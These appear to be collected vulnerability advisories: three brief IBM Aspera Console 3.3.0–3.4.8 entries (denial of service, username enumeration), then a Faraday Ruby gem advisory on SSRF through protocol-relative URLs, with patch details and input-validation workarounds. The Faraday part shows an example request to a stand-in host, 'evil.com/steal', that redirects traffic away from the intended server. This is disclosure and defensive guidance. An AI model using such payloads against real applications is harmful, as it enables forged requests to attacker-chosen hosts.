IBM Aspera Console 3.3.0 through 3.4.8 could allow a privileged user to cause a denial of service due to improper enforcement of behavioral workflow.

IBM Aspera Console 3.3.0 through 3.4.8 could allow an attacker to enumerate usernames due to an observable response discrepancy.

IBM Aspera Console 3.3.0 through 3.4.8 could allow an authenticated user to cause a denial of service in the email service due to improper control of interaction frequency.

Impact

Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end